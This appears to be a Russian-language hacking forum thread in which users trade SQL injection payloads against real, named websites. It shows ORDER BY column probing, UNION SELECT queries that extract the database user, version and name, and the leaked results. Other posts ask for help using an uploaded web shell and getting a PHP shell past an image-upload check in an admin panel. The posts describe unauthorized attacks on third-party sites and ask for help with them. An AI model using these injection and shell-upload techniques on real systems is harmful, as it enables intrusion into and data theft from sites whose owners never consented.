PHP: http://www.qwerty.ru/page.php?id=-999' -> You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''-999''' at line 1 PHP: http://www.qwerty.ru/page.php?id=1 order by 50 -> ошибка - :Unknown column '50' in 'order clause' PHP: http://www.qwerty.ru/page.php?id=1 order by 2 -> ошибка - :Unknown column '2' in 'order clause' PHP: http://www.qwerty.ru/page.php?id=1 order by 1 -> Грузится норм сайт... Получается всего 1 столбец ? 0o PHP: http://www.qwerty.ru/page.php?id=1'+union+select+0/* -> ошибка - :The used SELECT statements have a different number of columns PHP: http://www.qwerty.ru/page.php?id=-1+union+select+0 */ --> You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '/ AND poz=1' at line 1 подскажите плз что можно сделать?
выложи сайт полностью, посмотрим что там,или там намечается инжекция на важном государственном или военном проекте? P.S. вообще да, бывает такое что столбец один...
ссылку сменил по привычке -) вот http://www.procctv.ru/page.php?id=-1' И еще давно видел прогу,аналог Sipt ,только не такая замороченная . елси кто помнит как называется отпишите плиз)
http://www.procctv.ru/page.php?id=-1+union+select+1,concat_ws(0x3a,user(),version(),database())-- procctv@localhost:5.0.45-log:cms
Помогите докрутить скулю, нет печатного поля а все известные мне методы вывода слепых не выходят http://www.hoyle.com/game.php?id=-26%20or%20(1=1)%20order%20by%2025%20--
Code: http://*****/?id=-26%20UNION%20SELECT%201,version%28%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24-- version - 5.0.45
Может кто подскажет, залил шел через картинку, и получилас ссылка типа getimg.php?type=plandrawings&file=095244731.php кто подскажет что можно сделать? Поиск дирректорий типа images files и тому подобных ничего не дал!!!
как вытащить остальные db_name() из MS SQL 2000 ? Решенно! забыл просто вот так... db_name(1).. (2) итд
в админке есть возможность заливать фото, но при попытке залить шелл выскакивает ошибка Warning: imagecreatefromjpeg() [function.imagecreatefromjpeg]: '../photos/books/1271963332.php' is not a valid JPEG file in /home/agencevu/www/admin/liste_livres.php on line 281 видимо php функция, проверяеть содержимое файла, и если не jpeg, то не заливает. я правильно понял? и можно ли какнить обойти это ограничение?
если не выводятся цифры от полей на странице, даже при id=99999999 что это может быть??? пробовал делать hex(null) не катит проставил version() во все поля не выводит
